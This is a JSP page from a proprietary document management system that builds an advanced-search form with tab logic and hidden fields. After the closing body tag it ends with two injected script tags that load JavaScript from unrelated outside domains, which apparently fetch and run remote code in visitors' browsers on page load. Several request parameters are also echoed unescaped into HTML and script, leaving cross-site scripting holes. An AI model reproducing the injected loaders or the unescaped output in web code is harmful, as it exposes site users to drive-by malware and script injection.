<!-- saved from url=(0014)about:internet -->
<% 
/**
 *
 * @(#)EditSearchDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with documentInfoDCIVision Ltd.
 */


/**
  EditSearchDmsDocument.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    02/08/2005
    @version          $Revision: 1.28.2.6 $
*/
 /* ********************************Modify History***********************************************
 * Modify by  : joan.xiong	
 * Modify date: 2006/09/06
 * BugID      : EIP-157
 * Description: When clicked the return button cause the 404 error
 * *********************************************************************************************
 */
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="editSearchDmsDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsDocumentForm"/>
<%   
	//Update By Jim Zhou			2006/12/20			EIP-1228
	if (!Utility.isEmpty(session.getAttribute("advSearchOptToken"))){
		editSearchDmsDocumentForm.setAdvSearchOpt((String)session.getAttribute("advSearchOptToken"));
		session.removeAttribute("advSearchOptToken");
	}
  String advSearchOptToken = editSearchDmsDocumentForm.getAdvSearchOpt();//EIP-952 LEE 07/01/23
	//Update End
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
   
   String      LIST_NAME = "dmsDocumentSearchList";

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
String sFromFolder = editSearchDmsDocumentForm.getFromFolder();
String sCurFunctionCode = editSearchDmsDocumentForm.getCurFunctionCode();
if(Utility.isEmpty(sCurFunctionCode)){
  sCurFunctionCode=request.getParameter("curFunctionCode");
}
String functionType="common.label.advance_search";
String returnTo = request.getParameter("returnTo") != null ? request.getParameter("returnTo") : editSearchDmsDocumentForm.getReturnTo();
String rootID = editSearchDmsDocumentForm.getRootID();
if(Utility.isEmpty(rootID)){
  rootID=request.getParameter("rootID");
}
String parentID = editSearchDmsDocumentForm.getParentID();
if(Utility.isEmpty(parentID)){
  parentID=request.getParameter("parentID");
}
boolean enableBulkSearch = com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_BULK_SEARCH);
boolean allFolderSelection = false;
if (editSearchDmsDocumentForm.getSearchFolder()==null){
  allFolderSelection=true;
}
List resultList=(List)request.getAttribute(LIST_NAME);
/*
 *	Add Code Start
 *	Author					joan.xiong
 *	Date					2006/09/06
 *	Bug						EIP-157
 */
if(!Utility.isEmpty(request.getParameter("advSearchOpt")) && "true".equals(request.getParameter("isReturnPage"))){
	editSearchDmsDocumentForm.setAdvSearchOpt(request.getParameter("advSearchOpt"));
}
/*
 *  Add Code End
 */
String documentID = request.getParameter("documentID");
String searchPage= Utility.isEmpty(request.getParameter("searchPage"))?editSearchDmsDocumentForm.getSearchPage():request.getParameter("searchPage");
String outerCriteria = (String) editSearchDmsDocumentForm.getOuterCriteria();
%>
<script language="javascript">
<!--
 PreloadImages('<html:img src='Uploading.gif' pathOnly='true'/>');

function checkOrUncheckFolderAll(src) {
	var folders = document.getElementsByName("searchFolder");
	var checkOrUncheckLabel = document.getElementById("checkOrUncheckLabel");
	if (src.checked) {
		checkOrUncheckLabel.innerHTML = "<bean:message key='dms.label.search.unselectall'/>";
	}else {
		checkOrUncheckLabel.innerHTML = "<bean:message key='dms.label.search.selectall'/>";
	}
	if (folders.length) {
		for (var i=0; i<folders.length; i++) {
			folders[i].checked = src.checked;
		}
	}else {
		if (folders) {
			folders.checked = src.checked;
		}
	}
}

function INIT(){
  <%
    String includeKeywordTab = "N";
    String navigationSymbol = "advSearchTab";
    if ("true".equals(request.getAttribute("SUCCESS_CHECKOUT"))) {
  %>
    window.location.href = "<%= request.getContextPath() %>/dms/FileDownloadServlet?targetID=<%=documentID%>&version=TOP&isDownload=Y";
  <%
      navigationSymbol = "searchResultTab";
    }
    if("true".equals(request.getAttribute("searchCheckIn"))){
      navigationSymbol = "searchResultTab";
    }
    if (DmsOperationConstant.ATTR_EXPORT_OPERATION.equals(editSearchDmsDocumentForm.getOpMode()) || DmsOperationConstant.ATTR_COMBINE_TIFF_OPERATION.equals(editSearchDmsDocumentForm.getOpMode()) ) {
  %>
      window.location.href = "<%= request.getContextPath() %>/jsp/dms/FileDownloadSearchResult.jsp?ext=.zip";
      document.editSearchDmsDocumentForm.opMode.value="<%=GlobalConstant.NAV_MODE_LIST%>";
  <%
      navigationSymbol = "searchResultTab";
	  }else if(DmsOperationConstant.RESULT_EXPORT_OPERATION.equals(editSearchDmsDocumentForm.getOpMode())){
	%>
      window.location.href = "<%= request.getContextPath()%>/jsp/dms/FileDownloadSearchResultExcel.jsp?ext=.xls";
      document.editSearchDmsDocumentForm.opMode.value="<%=GlobalConstant.NAV_MODE_LIST%>";
	<%
      navigationSymbol = "searchResultTab";
    }else if(DmsOperationConstant.EXPORT_EXCEL.equals(editSearchDmsDocumentForm.getOpMode())){
  %>
      window.location.href = "<%= request.getContextPath()%>/jsp/dms/FileDownloadSearchResultExcel.jsp?ext=.xls";
      document.editSearchDmsDocumentForm.opMode.value="<%=GlobalConstant.NAV_MODE_LIST%>";
  <%
	    navigationSymbol = "searchResultTab";
      if(!Utility.isEmpty(editSearchDmsDocumentForm.getAdvSearchOpt()) && !DmsOperationConstant.SEARCH_RESULT_RESET.equals(editSearchDmsDocumentForm.getAdvSearchOpt())){
        navigationSymbol = "searchResultTab";
      }
      if("KEY_SEARCH_RESULT".equals(editSearchDmsDocumentForm.getAdvSearchOpt()) || "KEY_WORD".equals(searchPage)){
        navigationSymbol = "keySearchTab";
      }
      if("INDEX_SEARCH".equals(searchPage)){
        navigationSymbol = "advSearchTab";
      }
      if("BULK_SEARCH".equals(searchPage) && enableBulkSearch){
        navigationSymbol = "bulkSearchTab";
      }
    }else {
      if(!Utility.isEmpty(editSearchDmsDocumentForm.getAdvSearchOpt()) && !DmsOperationConstant.SEARCH_RESULT_RESET.equals(editSearchDmsDocumentForm.getAdvSearchOpt())){
        navigationSymbol = "searchResultTab";
      }
      if("KEY_SEARCH_RESULT".equals(editSearchDmsDocumentForm.getAdvSearchOpt()) || "KEY_WORD".equals(searchPage)){
        navigationSymbol = "keySearchTab";
      }
      if("INDEX_SEARCH".equals(searchPage)){
        navigationSymbol = "advSearchTab";
      }
      if("BULK_SEARCH".equals(searchPage) && enableBulkSearch){
        navigationSymbol = "bulkSearchTab";
      }
    }
    if("keySearchTab".equals(navigationSymbol) || "DMS.ATTR_KEYWORD_SEARCH".equals(editSearchDmsDocumentForm.getAdvSearchOpt()) || "KEY_WORD".equals(searchPage)) {
      includeKeywordTab = "Y";
    }
  %>
}
-->
</script>
<html:form action="dms/EditSearchDmsDocument" enctype="multipart/form-data" method="POST" styleClass="form-style-2">
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="advSearchOpt"/>
<html:hidden property="sortByScore"/>
<html:hidden property="closeFlag" value="0"/>
<html:hidden property="fromFolder" value="<%=sFromFolder%>"/>
<html:hidden property="returnTo" value="<%=returnTo%>"/>
<html:hidden property="outerCriteria"/>
<html:hidden property="deleteSelectID"/>
<html:hidden property="trueFileName"/>
<input type="hidden" name="searchPage" value="<%=searchPage%>">

<html:hidden property="curPageNO"/>
<html:hidden property="lastPageNO"/>
<html:hidden property="cursor"/>
<html:hidden property="pageAmount"/>

<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property="docDetailsSize"/>
<html:hidden property="searchResultOpt"/>
<html:hidden property="fromFolder"/>
<!-- the attribute for keyword search-->
<html:hidden property="closeFlag" value="0"/>
<html:hidden property="returnTo"/>
<input type="hidden" name="queryID" value="">
<%
String returnURL = "";

if(!"HOME".equals(returnTo)){
  if ("PUBLIC_ROOT".equals(sFromFolder)) {
    returnURL = request.getContextPath() + "/ListDmsPublicRoot.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN;
  }else if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode) && !Utility.isEmpty(rootID)&& !Utility.isEmpty(parentID)){
    returnURL = request.getContextPath() + "/ListDmsDocument.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN + "&rootID=" + rootID + "&parentID=" + parentID;
  }else if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(sCurFunctionCode) && !Utility.isEmpty(rootID)&& !Utility.isEmpty(parentID)){
    returnURL = request.getContextPath() + "/ListDmsPublicDocument.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN + "&rootID=" + rootID + "&parentID=" + parentID;
  } else {
    returnURL = request.getContextPath() + "/Home.do";
  }
} else {
  returnURL = request.getContextPath() + "/Home.do";
}%>

<%
	if ("advSearchTab".equals(navigationSymbol)) {
%>
<jsp:include page="SearchDmsDocument.jsp">
	<jsp:param name="returnURL" value="<%=returnURL%>"/>
</jsp:include>
<%
	}
%>

<%
	if ("keySearchTab".equals(navigationSymbol) || "Y".equals(includeKeywordTab)) {
%>
<!-- key word search Tab DIV-->
<jsp:include page="SearchKeywordDmsDocument.jsp">
	<jsp:param name="returnURL" value="<%=returnURL%>"/>
</jsp:include>
<%
	}
%>

<!-- bulk Search Tab DIV -->
<%if(enableBulkSearch){ %>
<%
	if ("bulkSearchTab".equals(navigationSymbol)) {
%>
<jsp:include page="BulkSearchDmsDocument.jsp">
	<jsp:param name="returnURL" value="<%=returnURL%>"/>
</jsp:include>
<%
	}
%>
<%}%>

<%
	if ("searchResultTab".equals(navigationSymbol)) {
%>
<!-- Search Result Tab DIV -->
<jsp:include page="ListDmsSearchResult.jsp">
  <jsp:param name="advSearchOpt" value="<%=editSearchDmsDocumentForm.getAdvSearchOpt()%>"/>
  <jsp:param name="returnURL" value="<%=returnURL%>"/>
  <jsp:param name="includeKeywordTab" value="<%=includeKeywordTab%>"/>
</jsp:include>
<%
	}
%>

<script language="javascript">
<!--
	//Update By Jim Zhou			2006/12/20			EIP-1228
	document.editSearchDmsDocumentForm.opMode.value="<%=GlobalConstant.OP_MODE_LIST_RETAIN%>";
	document.editSearchDmsDocumentForm.advSearchOpt.value="<%=advSearchOptToken%>";//EIP-952 LEE 07/01/23
  document.editSearchDmsDocumentForm.searchResultOpt.value="";
	//document.editSearchDmsDocumentForm.navMode.value="";
	/*
  document.editSearchDmsDocumentForm.opMode.value = "<%=GlobalConstant.NAV_MODE_LIST%>";
  document.editSearchDmsDocumentForm.navMode.value = "<%=GlobalConstant.NAV_MODE_LIST%>";
  document.editSearchDmsDocumentForm.advSearchOpt.value="<%=DmsOperationConstant.ATTR_SEARCH_OPERATION%>";
	*/
	//Update End
//-->
</script>
<%//Add By Jim.Zhou		2006/07/14		Bug	#3461%>
</html:form>
</body>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>